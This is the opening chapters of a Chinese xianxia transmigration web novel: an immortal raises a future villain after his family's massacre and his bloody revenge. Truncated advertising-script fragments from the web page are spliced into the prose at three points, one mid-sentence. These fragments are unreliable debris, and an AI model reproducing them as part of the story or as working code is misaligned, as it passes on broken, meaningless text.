《错穿反派白月光后》 1. 雪夜不晴 霜元百年,雪落千山,四海皆白。 唯有一处,月光落下来,冷血凝冰,三十里焦土尸横遍野。 裂冰之声裹着寒雾散在寒风里,容晚步步踏在虚空,如玉如雪的衣裳长长拖曳着,不曾被污秽残血浸染一分。 透过血雾,容晚隐约能望见一簇白色的热气。 十六七岁的少年仰躺在地,黑衫上落了残雪,面容染血,一双眸却极亮,盛着满腔恨意,不甘地喘息着。 他似是察觉到容晚的气息,那口热气忽然散了。双眸紧闭,唯有指尖撤得太匆忙,碎冰划出了一道口子,鲜血滋啦地冒出来。 “筋骨尽断,元灵碎裂。”容晚握住他冷白薄弱的手腕,少年虚无的灵脉在她指下跳动,问:“你叫什么名字?” “滚……” 少年不再伪装,像狼崽子一样拒绝她的靠近,殷红唇畔不知是被血浸染,还是本就如此,唇间虎牙尖得几近妖化。 “有意思。”容晚淡淡说。 不亏是仙侠话本里的大反派,小时候也凶得不得了。 容晚本不须问他的名字。 昔日的她本是第一仙门大小姐,夜间点着烛灯翻话本,刚翻开第一页,便听见“哔哔哔”的警告声,急促而短暂。 再一睁眼,容晚穿越进了话本里。 由于系统失误,扮演白月光同时,必须达成反派黑化结局,否则会被抹杀,再也不能回家。 她必须一直陪着反派,陪他从无名之辈到三界共主,陪他一步步走向注定的黑化结局。 容晚:是不是没告诉我任务对象? 【您的系统已下线。】 由于系统再次失误—— 容晚穿越而来的时间,比故事开始时早了整整一千五百年。一千五百年间,容晚吃喝玩乐打架修炼,倒也肆意。她交友无数,最要好的是人间界相识十年的少年郎。 由于系统再三失误—— 直到前几日,系统发布仙侠话本的全部内容,以及第一个任务。 容晚昔日的少年郎好友,就是话本中的大反派,她必须封他记忆,消失于人间,否则会即刻被系统抹杀,再也不能回家。 容晚:早些时候干嘛去了? 【您的系统已下线。】 直至今夜,夙州血案,满门皆灭,唯有三灵混体的反派夙昼幸存于世。 容晚与失去记忆的少年郎再次重逢。 ——书中的故事从这里开始。 书中的夙昼善心计,攻杀伐,步步为营,心狠手辣,从宵小之辈到问鼎三界共主,不过区区百年,那便是后话了。 眼下紧要的是带夙昼回上因界,此后按照话本里的剧情一步步往前走。 时节冷峭,霜重雪厚。 容晚眸前蒙上一层薄薄的雾气,垂下长睫,眸光落向少年,“夙昼。” 夙昼身形一僵,狠戾的眼神里似是惊讶,又似是嘲弄。 来时匆忙,容晚在怀中翻了许久,终于摸出一颗金丹,葱翠指尖戳了戳夙昼的脸,反倒染上一点鲜红血迹。 “张嘴。” “滚……” “不想活?” “……” 穿书前,容晚是第一仙门的大小姐,穿书后是上因界的第一上仙。 上因界的一千五百年,她从未如此被人拒绝过。 指尖掐住夙昼的下颌,容晚淡淡道:“听话。” 仙丹泛着微白的光芒,像一颗刺眼的星映在夙昼瞳孔里,连带他眼眸里也盛住光。 “姐姐……是仙?”夙昼神情忽然软了下来,像一只被抚顺毛的小狼狗,眼神也湿漉漉的,语调却拖得极缓,似是别有用心。 “算是吧。”容晚一愣,答道:“小仙一个。” “不像。”夙昼细细打量她,衣裳矜贵,仙剑名贵,古籍上有记载,那把剑叫不晴剑。 而容晚的画像,他的母亲曾日夜叩拜,祈求全家安康。她叫容晚,上因界第一上仙,怜光上仙,她可不是什么小仙。 “嗯?”容晚伸手在他眼前晃了晃。 趁容晚垂眸,夙昼紧咬齿关,猛地刺过来一剑。 冷铁破空之声划破雪夜的死寂。 容晚没躲,凡人之剑伤不了仙,躲什么? 直至腕间撕裂的感觉传来,容晚惊觉,鲜血顺着指尖滴落在雪地上,转瞬成冰。 “小白眼狼,”容晚温情霎时不复,戳上少年的脸颊,说:“我来救你的命,你却要杀我?” 夙昼素白的手背上尽是血痕,深可见骨,手中握着晶白长剑,十分吃力。 他忍着剧痛笑道:“你以为我不懂?凡人之剑……伤不了上因界的仙……” 容晚眸光一震,并非是因为夙昼能伤她,而是……夙昼居然可以拔出不晴剑。 上仙命剑,旁人不可拔出。 不晴剑是容晚命剑,更是立过血煞盟誓,生死与共的挚友,故而夙昼冲着容晚的剑锋,自心口偏到了腕间。 夙昼低低地笑,容晚在他凉薄的眸光里看见了恨,对天下、对她。 雪飞落而下,流水叮咚转瞬成冰,夙昼的伤口处热血凝结,双臂奇怪地扭曲着,连抬起都费劲。 可就是这样…… 毫无灵力、灵脉尽废的少年伤了云云峰惊才绝艳的上仙。 用一双伤臂。 “为什么恨我?”容晚垂眸看了一眼。 冷白纤细的腕间,一道刺目血痕从左手手背蜿蜒到腕骨,撕裂了月白色的薄纱长衫。 不晴剑毕竟是上古仙剑,夙昼凡人之躯,手无缚鸡之力,能拔得出剑便已是穷途末路。 容晚心生庆幸,金丹若是喂进去,她便是三界第一个死于命剑的上仙。 “恨啊!”夙昼笑得坦然,唇角弯起来虎牙显得更尖。 恨。怎么会不恨。他恨每一个高高在上者,不论仙魔。母亲日日祈求她保佑,却求来了什么?一夜之间,满门被诛吗? “是吗?”容晚从不是善人,不会软弱到任人宰割,她冷着脸起身。 那颗仙丹被她随手一掷,砸在夙昼脸上,沾了血后圆咕噜地滚到他锁骨窝里。 精致而直的锁骨上,一道道血痕刺过,深可见骨。 “可是我更想活啊。”夙昼扭曲的手指抬起,颤抖着拿起那颗金丹,囫囵吞了下去。 磅礴灵力自金丹中迸发,游走于经脉灵穴,最终汇入识海。 夙昼拖着残躯爬起,身高堪堪比容晚高出一截。他侧目盯着容晚,头微微偏侧,血污满脸,却没藏住那双如狼狠厉的眼睛。 细长的眼角、流畅的眉骨曲线被血痕划断,他怔愣着盯着她看。 指尖微动,夙昼却倏然停住,又装作一副手不能提的模样,松开了手中的不晴剑。 “您想带我去上因界,对吗?”夙昼弯唇,露出的虎牙沾着唇齿间的血丝。 “嗯。”容晚眸光一动,应声说:“你可愿?” 按照话本里的剧情,夙昼要在上因界修习数十年的,她费劲走这一趟,便是为了这个缘由。 长久的沉默—— 夙昼还是盯着她。 不晴剑锋上的血未凝结,那是容晚的血。 夙昼舔了下虎牙,讥讽道:“不愿如何?愿又如何?” 不愿,便是恶毒系统的任务,直接丢去落乌界,省得她扮演白月光师尊。 愿意的话,事情反倒麻烦了起来。 容晚说:“我私心以为,你不愿,我很开心。” 【警告:第一次违规操作,剩余九次。】 容晚:“?” 夙昼适时抬起手,“借我。” 掌心纵横的血痕刺得容晚一痛,她没听清他说什么,下意识回问:“我这不是来接你?” 一只素白的手攥住夙昼腕间,避开狰狞伤口。 夙昼一愣,抽回了手,问:“上仙?都是你这样吗?” 容晚:“?” “呵……”夙昼手心向上,血痕狰狞,比起全身却干净些许。 “上仙,借我仙剑吧……”他玩味地笑,似是不知痛一般。 “然后?”容晚不清楚他是什么意思。 夙昼紧握掌心,痛到倒吸一口凉气,“待我杀尽仇敌,报满门冤仇,然后……上仙要我怎样都行。” 要答应吗? 作为清冷白月光,容晚似乎不该答应他的请求,但作为黑化系统的宿主,她又必须答应,不然反派怎么报仇,走向黑化结局。 容晚想,遇事不决,当从本心。如果她像夙昼一般,被屠戮满门,定是要报仇的。 有仇报仇,就当剑丢了吧。 半响,容晚清冷的声音落下来。 风停雪歇,夙昼耳边只有她的声音。 “此剑名为不晴,今日遇你,雪夜不晴,便赠予你。此后不晴剑与我再无关联。” 容晚闭着眼,僵硬着指尖等系统的通报警告,等了许久,什么也没听到。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她松了一口气,却没在眼前看见夙昼。 少年接过剑,脚步踉跄地往远处走去,寻至一处仇敌,便屠满门。 起初,夙昼忌惮着身后那抹仙气,稍有顾及。后来察觉那人的不在意,杀红了眼。 容晚隐去身形,跟在他身后。 旁人杀他以满门,他杀满门报宿仇,没什么不对。 这一夜。 雪夜寒凉,家破人亡的少年手执仙剑不晴,赤足踏雪。 脚踝冻得通红,他却仿佛不知痛般,一处处地寻下去。 - 天光将明时,夙州落了一场大雨。 血迹被冲洗干净,转瞬间又是一场大雪,埋葬了无数亡魂。 容晚收回眸光,落在眼前雪地里的少年身上。 双目猩红的少年仰躺在地,衣裳上沾了三千余人的血。 他紧握不晴剑,迟迟不曾放松,唯有胸膛的起伏彰显他还活着的事实。 夙家满门、夙州无数百姓,一夜之间全灭。所杀仇敌远远不够…… 可是他好累啊…… 夙昼忽然朝天空伸出手,他看见母亲温柔地向他伸手,似要带他离开。 下一瞬,幻影破碎。 夙昼望着远处的残血冰雪,他眸中是不合年纪的冷意,淡淡地问:“事已至此,不杀了我吗?人人都想杀我,你不想吗?” 容晚喉间哽住。 她此行而来,既为系统所说,带夙昼回上因界的任务,也为仙门首座诏令——夙州血案一发,即刻杀死三灵混体。 而三灵混体,自然是夙昼。 约莫半个时辰前—— 上因界众仙在来时镜中,默然注视着夙州血案,直到最后一寸鲜血溅落在雪地上。 “是那个孩子吗?三灵混体?”上因界仙门首座容皓当众问询,眸光落向左侧为首的容晚。 她面容姣好,眉若细柳,却不见温婉只见凌厉,眼瞳璀璨若琉璃,连一份温情都看不见。仅有搭在剑鞘上的指尖,有一搭没一搭地敲动着。 “一定是!”蓬莱仙首拱手回礼,抢先道:“夙州全灭,三灵混体绝不会死于凡人之手,约莫是他。” 仙门首座不悦,垂眸掩下情绪。他最忌狂妄之辈,而蓬莱一门自视颇高,自然没听出容皓这话问的另有其人。 蓬莱仙首仍在喋喋不休,容皓单手扶额,被遮掩住的眉眼极不耐烦,平日守礼端正的仙门首座坐立不安。 “回禀兄尊,”容晚清冷的声音落下来,“落乌界已先行下手,我去寻他。” 容皓极为刻意地望她一眼,那是在提醒容晚昨夜他的叮咛:“三灵混体,善恶难分,必死无疑。明日夙州血案一发,本座要你即刻杀了他。” 可他的妹妹容晚自有主见,清清冷冷地站在他面前,不曾拒绝也不曾应下。他向来是无法掌控容晚的。 “容晚?”容皓的目光太过锋芒毕露,“你知道要如何做。” 白裳乌发的女子,眉间是一点鲜红的仙印,手中剑倏然出鞘,惊得仙门百家一颤。 剑锋上刻着不晴二字。 不晴剑,只杀宵小,不斩无辜。 “自祖辈拓荒三界以来,各界有其律法。”容晚心有不忍,朱唇轻启,说:“人尽皆知,上因界之仙不可插手人间界中事。容晚此去,可会领罚?” 容皓眸光一冷,此时两面为难,是也不是,不是也不是,一时失语。 一双冷厉凤眸直刺容晚,一切尽在不言中。 众仙皆是沉默。 上因界谁人不知,第一上仙容晚向来冷心冷情,连她贵为仙门首座的表兄也不能做她的主。兄妹间争执几句,改明儿也就和好了?此刻的外人谁又敢帮腔做事? “兄尊放心,”容晚一笑,“方才是容晚言辞不当,容晚知道如何做。” 说罢,不顾众仙惊诧,容晚拜别容皓,往人间界去。 故而经过来时镜时,容晚指尖轻扣,捻了个仙门首座也分辨不出的诀,扰了来时镜的窥视。 自此,上因界无谁能知,三灵混体是谁,他又在何方。 容晚会守好这个秘密。 ——直至他的死期。 “上仙,人人说我穷凶极恶,来日为祸三界……”夙昼见她神色微怔,不知想些什么,眸光轻飘飘地落在远方。 他再一次提醒她说:“人人都想杀我,你不想吗?” 见他眸中的淡淡血色,唇角的狠厉之意,容晚下意识握紧了剑。 2. 雪夜不晴 “我此时不会杀你。”容晚淡淡道:“夙州,落雪了。” “嗯?”夙昼听见她唤他名字,下意识应声,惊觉她是在说夙州,轻笑了声,“上因界授意而下,免得血流成河、尸体成山,惊吓到别州。不如冰封,什么都不会被发现。” “应当是。” 夙昼从雪地上坐起,将不晴剑递过去,颇有深意地唤一声“上仙”。又问:“为何助我复仇?” “不为何。”容晚眸光落在剑锋上,忽略剑灵在她耳中的鸣叫,“剑已赠你,与我无关。” “撇清关系?没关系。”夙昼没再客气,收剑入鞘,“上仙助我杀仇敌,那上仙想要什么?” 他墨色的眼眸深沉,身形之后是清透晨光,在迷晃的阴影里,容晚有一瞬间的恍惚,他是干干净净的。 “不必报我什么。我们回云云峰。从此,你好好拜师学艺,不问前尘。” - 这个仙侠话本里的世界,三界分立。 上因界高于人间界,立于云巅,落乌界则是与人间界为邻,部分领域沉于西方冥海。 途径三界涡流时,夙昼释然一笑,甩开容晚的手,直直跳了下去。 涡流,顾名思义,于三界汇聚之处纠缠而成,其间灵力撕扯可杀仙魔,就连仙门首座也不例外。 “真好啊。”夙昼嘴角噙笑,昨日的癫狂血性消散得干干净净,“我再无所求,唯有一愿,赴死而已。” 他望见水深处,母亲衣裙洁净,温和地笑望他,张开怀抱迎接着…… 轻飘飘的遗言被风送来,容晚气到眉眼间有了怒色。 【警告:夙昼濒危,系统作出第二次违规通报,剩余八次。】 容晚咬牙切齿,“白眼狼。” 她立于云端犹豫不决,系统的聒噪声不绝于耳。并非她不愿救,而是容晚怕水,自从小时候被兄长丢到黑水中飘了三个月,她便怕水怕得厉害。 【警报:夙昼窒息,任务即将失败,系统作出第三次违规警告,剩余七次。】 “怕什么。”容晚眼眸一闭,心一横,寻着夙昼的方向直直落了下去,她心有余悸,却下沉得极快,生怕夙昼死在这里。 茫茫黑水间,瞧不清人影。 容晚掐诀召唤不晴剑,深水处迸发一点细微光亮,她寻着方向游去。 少年破碎的衣裳本就因着血痕破碎不堪,如今入了水,飘散四方,竟连遮掩身躯也做不到。容晚仓促地避开目光。 他唇畔乌青,眼眸微闭,伤口处的血顺着水飘散,染红了周边一片。 事急从权,容晚掐着他的后颈,把人捞上来。 透出水面的瞬间,夙昼猛咳不已。她掌心合着灵力拍入夙昼命穴,没带一丝怜惜。 “咳——”夙昼惊醒时,望向她的目光里有惊诧、不解和嗤笑。他按住她的手腕,气若游丝,“别救我,你想要什么都得不到。” “还不能死。” 任务没完成,她会死在这里。 绝不能死。 容晚声音微颤,溺水的恐惧裹挟着她,仍让她心跳如擂鼓。 “你为什么这么怕?你怕我死掉?”夙昼分明很虚弱,指尖攥住她的手腕。 容晚如实相告:“不是,我怕水。” 她忽然感觉到少年不怀好意的目光,指尖捏诀等他的动作。 夙昼弯唇一笑,冷白的虎牙映着月光。他握着不晴剑,紧紧抿着唇。 拜师?想收我为徒?你也配?做我的师父? 仙落人间,仙灵有封。他想……现在杀了她,就用她施舍的那把剑。 下一秒——夙昼眸光微愣,望向容晚手里的不晴剑,一脸懵意。 前一瞬,尚在手中的不晴剑,骤然消散,此刻剑锋落在他脖颈上。 顺着剑锋,他望见执剑的人。 那人衣裳已干,发丝随风而动,似是从未跌落在黑水中,也从未救过他。 眼眸明亮却又冰冷。 夙昼喉结一动,剑锋划过,血珠顺着喉结、肩颈滑入衣裳里。 冷白绯红,撞得容晚眸光一动。 “你还想杀我?” “……” “昨夜所报,不过是凡人之仇罢了。其他仇敌,你不知道,也没有能力。”容晚指尖按在他的伤口处,不顾他的疼痛,偏是要他记住教训,柔声训道:“不晴剑伤人不愈,这伤要落一生了。” “是吗?”夙昼下意识地望向她的伤腕,不晴剑伤人不愈。 没想到,他也能伤到上仙啊!呵! 下一瞬—— 滴血坠落,容晚腕间的鲜血落于他掌心伤痕,灵血融汇。 沉寂数十年的隐秘法阵破于设阵者的灵血。 夙昼惊觉—— 他曾真真切切见过这位怜光上仙。 怜世之光?好一个悲天悯人道貌岸然的封号。 邪意从嘴角漫上来,夙昼却转瞬收起来,只是一副淡然和煦的笑,像极了人间界寻常少年。 “可是我一点都不想拜入仙门,就按你说的,妖魔凡人杀我父母兄长,屠戮夙州,上因界置之不理,只说是天理有伦常。” 他囫囵吞下容晚递来的仙丹,丝丝缕缕的仙气修复他的身躯,手中的不晴剑剑锋向她,剑光冷意倾泻而出,笑道:“上仙?你说我为何要拜入仙门?你叫我如何拜入上因界?” 容晚一时失言。 系统:“提醒您原著台词……” 容晚:“上因界不得干涉人间界,也不得干涉落乌界,这是创世以来便有的规矩。你家风颇好,不会不知道。今日夙州血案,表面上是人间界党权之争,做得很干净,没有证据指向落乌界。” 夙昼:“那你又为何说仇敌不止于此?” “不止于此,别的,我不能说。” “是吗?冠冕堂皇。”夙昼垂眸冷笑。他儿时曾见过她,在喧嚣人间,夙州乌衣巷尾,那颗繁茂蔽日的紫藤花树下,日日见她。 他拔过她的剑,喝过她琉璃玉盅里的温酒。 他仰头问她,“姐姐,你为什么不回家?” “我在等一人长大。” “谁?” “一个不知道叫什么,不知道住哪里的小朋友。” 乌衣巷尾只有一处人家,他是整条巷子唯一的孩童。 “是我吗?”夙昼问。 那年容晚起身,衣裙上的落花簌簌而落,突起的风迷了夙昼的眼睛。 “不是。”她说。 彼时容晚不知他的名姓。 十年里夙昼问过无数次,而她次次如此回答。 可是此时—— 容晚次次回答:“我是来接你的。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>夙昼垂头,额间碎发蹭过容晚的指尖,像是他收起锋芒与这个世界妥协。 他在向容晚低头,声音沉闷,“为什么救我?” 为什么现在才来救我? “不为什么。”容晚声音沉冷,“从今往后,你是谁、从哪里来,过往深仇大恨全都咽在心里。” “凭什么?”夙昼抬眸,撞上容晚的目光,她分明盯着自己,脸上却冷得不见情绪。 “我既救你,你的命便属于我。” 两人间距离极近,近到容晚的呼吸细微地喷在他颈间,手中又递出几颗金丹,“自此,你与过往纠葛唯有一个名字,夙昼。” 容晚望向他的满手伤痕,眉头细微地皱了下,落在夙昼眼里便有了厌恶的情绪。 夙昼冷冰冰的视线盯着她,脸上尽是血污,他笑道:“上因界的仙,不顾仙律,私下人间界,又闲到插手人间中事,你到底是来杀我的?还是接我的?” 容晚素手一抬,夙昼手中的不晴剑敛锋入鞘,她冷淡的眉眼落入那人带刺的目光。 “我是来接你的,夙昼。” 夙昼听见她重复说。 原来自始至终,怜光上仙所等的,或许从不是七八岁的夙昼,而是十年后家破人亡的落魄公子,三界争抢的小怪物。 一句答案,跨过数十年落在夙昼耳边。 夙昼忽然笑起来,宛若天边斜阳一般绚烂,却又是极浓重的忧伤。 这便是当年自己被封存记忆的理由吗?那个干干净净的夙家小公子,她从来都不要。 “姐姐啊,你不是。”夙昼的眼眸被碎发遮住,他声音忽然是悲伤,像是在告诉容晚,又像是在说给自己听。 不是来接他,是来杀他的。不是今日杀他,便是来日杀他。 不晴剑被他攥在手里,如同他的命一般。 “姐姐,你要接我,接满手鲜血的我,对吗?” 不是那个干干净净,向你讨酒喝的我? 许久,夙昼等不到容晚的回答,又问:“但凡是昨夜血案前的我呢?”你也不要吗? “人各有命,人间界生老病死、一事一人皆是命,我今日接你,也是命。”容晚纵然心有不忍,语气上却是和众仙一样冷冰冰,“你若身份大白,上因界忌惮,落乌界觊觎,人间界畏惧,还有命可活?” “命?”夙昼苍白的手指抓了把地上的残雪,骤然松开。 他想问,既然是命,为何当年的容晚会私下人间界十年。 为何撇下上因界仙务,连人间香火也不要了,偏偏逗留乌衣巷尾十年。 最终,夙昼什么也没问。 暮光刺眼,容晚逆光而立,落在夙昼眼里是模糊的阴影。 透过狭长眼缝望向她,容晚的面容如美玉般无暇,眉眼微微上扬,却又不显得温情,唇角的弧度同寒冬一般冷。 素色长衫清清冷冷地披在她身上,三九寒冬冷不到她。 她和明堂里、香案烛火前的画像似有不同。 一颦一笑,亦有凡人形态。 “既是命——” 夙昼胸膛剧烈起伏着,像是要把这些年的不甘愤懑都吞下去。 “我愿意,我愿意和你回上因界。” 我愿意和你回家。 去回你的家。 因为自昨夜起,我再也没有家了。 3. 上因非因 夙昼醒来便在上因界。 夙昼盯着容七手中的两个托盘,三件不同形制的衣裳,直直望向容晚,“姐姐要我穿哪一件?” 容晚一愣。 仙侍碧落也是一愣,灵动的眼神中俱是惊诧,瞧见容晚不悦的神色,出言提醒,“这位小公子,在上因界,当唤你姐姐一句仙上,人间界的名讳还是不要叫了。” 夙昼软软的一声:“仙上。” “嗯。”容晚指尖一抬,指向碧落手中的托盘,“云云峰中,仙魔人皆有之,三界各有归属,衣裳纹饰各不相同。” “什么?”夙昼眼神有些无措。 碧落向来机敏,是容晚的心腹,自然知晓她的意思,解释说:“仙上是说,小公子可以自己选,等将来入了师门,再随师尊归属着衣。” 闻言夙昼眸光冷下来,指尖摩挲着那件人间界形制的衣裳,唇边扬起似有似无的弧度。 母亲当年最喜他着亮色衣衫,不善绣工,却亲手缝制他从小到大的衣裳。他目光缱绻,落在衣裳上,眉目含情,不知想起了谁。 “咳……”容晚轻咳一声,“选好了吗?若是不想穿上因界的也没关系。人间界衣裳淡雅,你穿……也会好看。” 夙昼最终选了上因界的鎏金素衣,跟在容晚身后去望春山登名载册。 上因界中,以云云峰为中心,各家仙居环绕排布,隐于云间。 恍惚间望得到高山流水琉璃玉瓦,又瞧得见山野从中竹枝小屋,雕梁画栋曲径幽香更是不在少数。 “姐姐。” 见到四处无人,夙昼扣着剑柄的手,下意识去寻容晚的衣角,偶有相触的一瞬间,他唇边便漾起笑意。 “嗯?”容晚回身看向他,“叫仙上。” 夙昼掩下眸中的乖戾:“仙上,我非要拜师不可吗?那又是拜谁为师?” 氤氲灵气和茫茫晨雾隔在他与容晚之间,模糊了她的面容。 四周安静了一瞬,容晚冷淡的声音才渐渐传入耳中。 “是,你非要拜师不可。你体质特殊,灵脉中空无一物,除非……你能接受这一种情况。” “有什么不能接受的?”夙昼弯唇,虎牙总是衬得笑有几分邪性,偏偏面容干净如玉,倒也像个仙门小弟子。 “灵力撕扯,自爆而亡。” 夙昼怔住。 而容晚脚步不停,沿途的弟子见她纷纷作揖。 待容晚一经过,弟子们好奇的目光全落在夙昼身上。 第一上仙的画像、塑像遍布人间界各处,而在上因界之中,她是无数弟子仰望的存在。 如今,她带回一个人间界的少年,还让他穿了上因界的衣裳。弟子衣着随师尊,他们纷纷猜测这个少年,将会成为她的首徒。 - 夙昼垂着头跟在她身侧,不晴剑随意地挂在腰侧,银铃相撞,叮当作响。 他尚在少年年纪,一路上采花摘草,指尖捻转间竟编成了一个极小的花环,只比戒指大上一圈。 没玩多久,花环又在他掌心碾成碎末。 “拜仙上为师?”夙昼慢悠悠地问:“我有些不愿意呢。” “怎么自大又狂妄?”容晚指尖一动,藏住他腰侧不晴剑的灵气,顷刻间换了种剑制,但在夙昼眼中毫无区别。 “夙昼,想做我的弟子吗?”容晚站定,回眸看向他脸上的孤傲,“可惜——你如今还没有资格。” 夙昼再没说话,嘴角扯着笑跟在她身后。 总是距离一步之遥。 容晚把夙昼引到弟子堂,不顾周围的惊呼和好奇,随手抓了个仙官,“给他弄一块玉牌,其他的不用特殊照顾,和其他弟子一般。” “仙上,那这位小弟子是要记在您的名下?” “我有这样说吗?” “哦哦,”仙官擦了把汗,“那住在何方?望春山?” 容晚眼神忽然冷下来。 仙官自顾自话,“那不用特殊照顾,就先住北峰,玉牌就用寻常青玉。” 眼见仙官还有事要问,容晚忽然收到一道传音,来自上因宫。 她那仙门首座的哥哥等不及了。 “仙上?”夙昼被弟子们团团围住,挣不出包围圈,脸上竟有几分焦灼地望向她。 容晚回眸一看,“松柏下等我。” “我……”夙昼还未来得及应声,容晚霎时身影消散,只余几点光影。 “果然是第一上仙啊!”弟子们齐齐感叹。 “说走就走,我什么时候能修到这种程度?十年,十年我肯定可以学会,小爷我可是衡游上仙的首徒……” “你可做梦吧,薛铎。”黑衫弟子讥笑完薛铎,转头和夙昼拉关系,恭恭敬敬行过弟子礼,“诶?你叫什么?我叫成风,如今拜在第三上仙衡游门下。” 成风神情活泼,伸手去拍夙昼的肩,却“哎呦”一声叫了出来。 夙昼收回剑鞘,跟着仙官往内阁走。 成风不依不饶,“这位弟子,我问你名姓,你打我做什么?衡游上仙和怜光上仙至交好友,同门师兄妹,我们也还带算半个同门,你戾气这么大做什么?” “同门?”夙昼眼神极冷,没有半分在容晚面前的乖巧,“你方才没听她说?我不是她的弟子,你和我算什么同门?” “哎,”成风却半分没有被打击到,“怎么也算上因界同门啊!走走走,我带你载册去。” 方才夙昼见过人间界和上因界的衣衫,那成风多半是落乌界中人。夙昼厉声道:“我讨厌落乌界,你离我远一点。” “师弟。”成风嬉皮笑脸,“我师父是落乌界中人,我不是。” 夙昼:“……” “哎呀!”成风眼神一转,悄咪咪说道:“你肯定想拜入怜光上仙门下,跟着小爷我混,保你成功拜师!看你还没筑基吧,来来来,一会儿小爷教你。” 夙昼紧握剑鞘的手一松,默许了成风在他耳边的聒噪,连他自己都说不清楚为什么。 - 容晚乘风踏云,孤身去了云巅之上的上因宫。 上因界仙门首座——容皓,容晚异父异母的表兄,法术不及容晚强大,脾气却不小。自从容晚穿书以来,对她谈不上好坏,两人不像兄妹,更像君王与臣子。 “跪下!”一道冰冷浑厚的声音传来。 容晚长长的裙摆绕过容皓,身形一动,支着下颌坐在茶座上,“不跪。” “你带回来了谁?”容皓笃定她没有杀死小魔物,却不笃定哪一个孩子是小魔物。 “一个小孩,冻在雪地里怪可怜的,看着顺眼就带回来了。”容晚盯着手背上的血痕,没再说话。 “受伤了?”容皓的视线仅在伤痕处停了一瞬,又问:“不说吗?” 漂浮于空中的来时镜,影像总是停止在夙州的茫茫大雪中,一幕幕地重映夙昼血案,容皓却再也看不见后续。 “你杀了他吗?” 容晚没动作。 “落乌界有插手吗?可有旁生枝节?” 容晚视线落在容皓身后的三千神柩上,缓慢地吐出字句,“哥哥,三 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 千二百一十五人,死于不晴剑。” 三千二百一十五人,是夙昼所杀,却也是因我而死。 鸟鸣雪落声瞬时消去,外界的声响统统被容皓隔绝在殿外。 茶盏砸落在地,激起一地茶香。 “容晚!你怎么敢?你不知道上因界律法吗?” 下一瞬—— 隔空而来的一掌,扇得容晚整个人偏向一侧,她咬了下唇,“知道,连哥哥都没有我清楚,容晚一条一条转抄过无数次,又怎会忘?” 她那一双黝黑的眼睛直盯着容皓,毫无悔错之意。 容皓比容晚年长,却也是盛年男子,遥遥一站恰如一颗挺拔的松,立于霜雪之中,疏离又冷漠。 他从未对容晚动过怒,不论是从前容晚大闹上因宫,又或者是私下人间界十年。唯有这一次,凌厉长眉拧起,容皓向来无情无欲的眉眼染了烟火气,他在生气。 “看来哥哥生了好大的气。” 容晚唇边的笑意有几分苦意,她最是了解上因界律法。 上仙若是插手人间界中事,削仙籍,剔骨入六道轮回,历七情尽八苦,永生永世再不为仙。 从前犯错,容皓向来是该罚便罚,罚过了便也算过去了,不再追究。 这一次,她真的惹了滔天大祸。 容皓的声音像冰棱一样刺过来,“容晚,你是逼我定你的罪吗?” “哥哥叫我杀人,不也是触犯仙律的事吗?哥哥错了吗?” 日光自纵横窗格里漫过来,明明灭灭的光影里,容晚的神情叫人看不清楚。 容皓被她气得发抖,再没说一句重话,“晚晚,你知道哥哥在担心你。” “是啊,”容晚抬眼,眼神里却看不见光,“担心我有没有杀掉三灵混体。” “你……” “哥哥放心,来日事情败露,上因界审判,容晚不会让哥哥为难。”她目光落在容皓身下的座位上,“一定让哥哥仙门首座的位置,坐得长长久久。” “为难?”容皓气极,道,“如今你不是在让我为难?” “哥哥,真的不是他。”容晚平生第一次对容皓撒谎,“那个孩子死于我手。” “只是……”容晚清冷的眸光落在微张的十指上,轻笑着,“只不过看见的人有些多,便听哥哥的话,都杀掉了。” “哥哥。”容晚笑得无辜,“不是哥哥交待,要不留痕迹,不计代价吗?” “你给我滚!”容皓眉头紧皱,摆手让她快走,他似乎想起什么,声音狠厉,“容晚,你带回来的人最好不是他。” 容晚离开的背影一僵,却又扯出放松的笑容,“不然呢?宁可错杀也不放过?哥哥上次还说,不可滥杀无辜,只杀魔物和知情之人。” “哦,对了,哥哥和我算知情之人吗?”容晚并没耐心等他的回答,轻笑一声,转瞬离开上因宫。 容皓盯着她的背影出神,那一掌分明不曾带半分灵力。他和容晚少时兄妹情深,容晚不过是私下人间界十年,缘何性情大变? 他的眼神越来越深重,指尖扣住了上因宫首座的龙头,再没回神。 - 夙昼拎着剑去弟子堂受训,领了玉牌回来,不知去哪里,便支着剑往松柏树下的玉石一坐。 日光斜斜打下来,极致的光影下夙昼眉眼如画,五官凌厉却不显得攻击性强。 他不知想到什么,弯唇一笑,虎牙尖尖,显得几分邪气。 天光自东落西,他望见女子的身影。 下一刻,笑意荡然无存。 4. 上因非因 容晚跟着他许久了。 从上因宫回云云峰,不过盏茶。容晚隐去身形,跟在夙昼身后许久。 久到日暮西垂,他坐于松柏树下,容晚才缓缓现身。 载册仙官们不曾为难他,衡游上仙的弟子向来聒噪,拉着夙昼走遍云云峰各处。夙昼不同于别的弟子,他未有师门,领的是最末等的弟子玉牌,住处在最偏远的岌岌峰。 一些弟子调侃他无师无门,皆以为他会难过,屈辱,夙昼反而十分坦然,遥遥一站,手中剑还未出鞘,便吓退众人。 天光未歇,他也不曾去别的地方,支着剑往松柏下一坐,便是数个时辰。夙昼坐得很直,不像从前,他总是四仰八叉地躺在乌衣巷的树荫下,衣襟也不曾好好穿在身上。 “夙昼。”容晚轻轻出声。 “他们叫我去岌岌峰住。”夙昼起身,身影挡住容晚身前的阳光,声音清浅。 不过离开了半天,夙昼的语气却软得像融化的冰糖。 若非容晚跟着他,看着他既会冷厉地同仙官道谢,也能唇角冷笑着和衡游的弟子们说话,恐怕真的要被这般澄澈又委屈的目光骗过去。 “不愿意吗?”容晚不惑地问道,“那你想住在哪里?” 难道要跟着她住吗?只是系统的黑化任务终归同白月光的身份有所冲突。 “不是,”夙昼指尖玩弄着新领的青玉牌,道,“我会听话。” 容晚愣住。 为什么他的态度变了许多?从什么时候开始的?她在人间界呆过十年,却设下封锁记忆的灵阵,按理说夙昼不应该想起她。 莫不是如今寄人篱下,便学得乖巧些? “为什么听话?” “我答应的啊。”夙昼拿起不晴剑,递到她眼前。 答应什么? 容晚眸色如常,看向不晴剑时眼神却忽然一变,她赠夙昼不晴剑,他便还她恩情。 